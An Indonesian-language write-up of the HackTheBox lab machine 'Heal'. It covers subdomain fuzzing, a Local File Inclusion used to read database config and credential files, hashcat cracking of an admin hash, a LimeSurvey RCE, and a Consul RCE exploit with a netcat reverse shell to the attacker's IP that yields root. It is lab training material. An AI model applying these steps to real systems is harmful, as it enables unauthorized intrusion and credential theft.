- Published on
HACKTHEBOX - Heal WriteUp
- Authors

- Name
- Alvin Dhiyaul H

Reconnaissance
Melakukan Reconnaissance pada server target menggunakan Nmap.
# Nmap 7.95 scan initiated Sun Dec 15 19:25:42 2024 as: nmap -sC -sV -o nmap 10.10.11.46
Nmap scan report for 10.10.11.46
Host is up (0.033s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 68:af:80:86:6e:61:7e:bf:0b:ea:10:52:d7:7a:94:3d (ECDSA)
|_ 256 52:f4:8d:f1:c7:85:b6:6f:c6:5f:b2:db:a6:17:68:ae (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://heal.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Dec 15 19:26:07 2024 -- 1 IP address (1 host up) scanned in 25.48 seconds
Dari hasil port scanning kita mendapat sebuah informasi bahwasanya terdapat sebuah service web yang berjalan di port 80, dan dengan hostname heal.htb, kemudian kita tambahkan hostname tersebut pada file konfigurasi /etc/hosts.
sudo echo "10.10.11.46 heal.htb" | sudo tee -a /etc/hosts
Kemudian setelah mengetahui domain pada server, kita dapat mencoba melakukan enumerasi pada subdomain yang ada di server, kita dapat menggunakan tools Ffuf untuk melakukan enumerasi pada subdomain.
alvin@0xOff ~ % ffuf -u http://heal.htb -H "Host: FUZZ.heal.htb" -w /Users/alvin/Documents/TOOLS/SecLists-master/Discovery/DNS/subdomains-top1million-110000.txt -fs 178
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://heal.htb
:: Wordlist : FUZZ: /Users/alvin/Documents/TOOLS/SecLists-master/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.heal.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 178
________________________________________________
api [Status: 200, Size: 12515, Words: 469, Lines: 91, Duration: 37ms]
:: Progress: [114441/114441] :: Job [1/1] :: 1250 req/sec :: Duration: [0:01:39] :: Errors: 0 ::
Dari hasil enumersi subdomain diatas kita berhasil menemukan sebuah subdomain baru yaitu api.heal.htb.
Exploration and Exploitation
Pada saat kita mencoba mengakses domain utama yaitu heal.htb, terdapat sebuah login page & fitur register.

Dan pada saat saya mencoba mengakses subdomain API yaitu api.heal.htb terdapat sebuah Ruby on Rails.

Kemudian saya mencoba untuk register lalu login pada web utama yaitu heal.htb, dan ketika sudah berhasil login, terdapat sebuah Resume Builder, yang dimana kita dapat membuat sebuah Resume/CV yang kemudian dapat di export ke file pdf. Setelah menguji semua fitur yang ada pada dashboard tersebut ada hal yang menarik diataranya adalah:
- Fitur
Surveyyang diarahkan pada sebuah subdomain lain yaitu 'take-survey.heal.htb'.- Fitur
Export as PDFyang terdapat sebuah parameter 'filename=' sehingga dapat dimanfaatkan untuk exploitasi sebuah kerentanan Local File Inclusion (LFI).
Kemudian saya mencoba untuk melakukan Directory Fuzzing pada subdomain take-survey.heal.htb untuk mencari informasi mengenai endpoint yang tersedia.
Dari hasil Directory Fuzzing diatas kita menemukan sebuah endpoint Admin login page yaitu http://take-survey.heal.htb/index.php/admin/authentication/sa/loginExploitation
EXPORT AS PDF , dengan cara meng-Intercept Requests pada fitur Export as PDF. 
Pada saat intercept request terlihat sebuah parameter filename= yang berfungsi untuk mengambil/mendownload sebuah file pdf / file resume yang kita export sebelumnya.
Kemudian kita dapat memanfaatkan/mengeksploitasi fitur tersebut untuk mengambil/melihat sebuah file sensitif pada server.
/config/database.yml yang dimana file tersebut berisi tentang konfigurasi database pada server. 
Dari informasi yang terdapat pada file konfigurasi database diatas terlihat sebuah informasi bahwasanya terdapat file database production yaitu sqlite pada server yang terletak pada storage/development.sqlite3.
Setelah berhasil mendowload file database development.sqlite3 saya menemukan sebuah hash credential password dari admin yaitu raplh@heal.htb.

Kemudian kita dapat mencoba untuk melakukan Cracking hash password dari raplh (Administrator), kita dapat menggunakan Hashcat.
hashcat -m 3200 -a 0 hash.txt /wordlist/rockyou.txt
Dan setelah berhasil mendapatkan credential dari raplh (administrator) kita dapat menggunakanya untuk login sebagai admin pada login page admin yang sebelumnya sudah berhasil kita temukan.

Kemudian kita dapat melihat bahwasanya Lime Survey memiliki versi 6.6.4 yang dimana memiliki sebuah kerentanan dengan Id CVE-2021-44967 dengan impact Remote Code Excecution (RCE). Sehingga kita dapat menggunakan Limesurvey exploit script yang ada di github.
Initial Access
Setelah berhasil melakukan Remote Code Excecution kita berhasil mendapat Initial Access terhadap server, kita mendapat Reverse Shell Sebagai www-data.

Kemudian saya berhasil mendapatkan sebuah credential pada limesurvey/application/config/config.php sehingga dapat kita manfaatkan untuk mengakses SSH pada port 22 yang ad di server.
Dan perlu di ingat sebelumnya kita mempunyai access kerentanan Local File Inclusion, sehingga kita dapat mengetahui user apa saja yang ada pada server.
Foothold
Dan kita berhasil mengakses server melalui SSH sebagai ron.
ron@heal:~$ id
uid=1001(ron) gid=1001(ron) groups=1001(ron)
ron@heal:~$
Getting User Flag
Dan kita telah berhasil mendapatkan flag dari user.
ron@heal:~$ whoami
ron
ron@heal:~$ ls
user.txt
ron@heal:~$ cat user.txt
54f01f4da7ab93e444731bf98bf702d8
ron@heal:~$
Privilege Escalation to Root Access
Setelah berhasil mendapatkan hak akses user, selanjutnya kita dapat melakukan enumerasi untuk mendapatkan access root pada server, saya akan menggunakan LinPEAS, dengan mengabil linpeas dari host local saya.
Kemudian setelah melakukan enumnerasi menggunakan LinPEAS, saya mendapat informasi bahwasanya terdapat banyak port yang terbuka dan hanya bisa diakses oleh local server.
╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
tcp 0 0 127.0.0.1:8600 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8503 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8500 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8302 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8300 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8301 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3001 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:5432 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
Dan kita perlu melakukan Port Forwarding supaya service pada semua port yang hanya dapat di akses dari localhost, saya menggunakan SSH untuk melakukan Port Forwarding.
alvin@0xOff HACKTHEBOX % ssh -L 8600:127.0.0.1:8600 \
-L 8503:127.0.0.1:8503 \
-L 8500:127.0.0.1:8500 \
-L 8302:127.0.0.1:8302 \
-L 8300:127.0.0.1:8300 \
-L 8301:127.0.0.1:8301 \
-L 3000:127.0.0.1:3000 \
-L 3001:127.0.0.1:3001 \
-L 5432:127.0.0.1:5432 \
-L 53:127.0.0.53:53 \
ron@heal.htb
Dan pada saat mengakses port 8500 pada browser terdapat sebuah service Hashicorp Consul v1.0 yang di mana memiliki sebuah kerentanan Remote Code Excecution juga, sehingga kita dapat menggunakan exploitation script dari Exploit Database.

Kemudian kita dapat menjalankan exploit script dan melakukan listener pada port 4444 menggunakan Netcat.
Set listener netcat :
alvin@0xOff Heal % nc -lvnp 4444
Run exploit script:
alvin@0xOff Heal % python3 51117.py 127.0.0.1 8500 10.10.14.147 4444 1
[+] Request sent successfully, check your listener
Checking Listener Getting Root Flag
Last login: Thu Dec 19 08:45:15 on ttys009
alvin@0xOff Heal % nc -lvnp 4444
Connection from 10.10.11.46:39938
bash: cannot set terminal process group (69501): Inappropriate ioctl for device
bash: no job control in this shell
root@heal:/# id
id
uid=0(root) gid=0(root) groups=0(root)
root@heal:/# cat /root/root.txt
cat /root/root.txt
6340d29b*************6ae5a72
root@heal:/#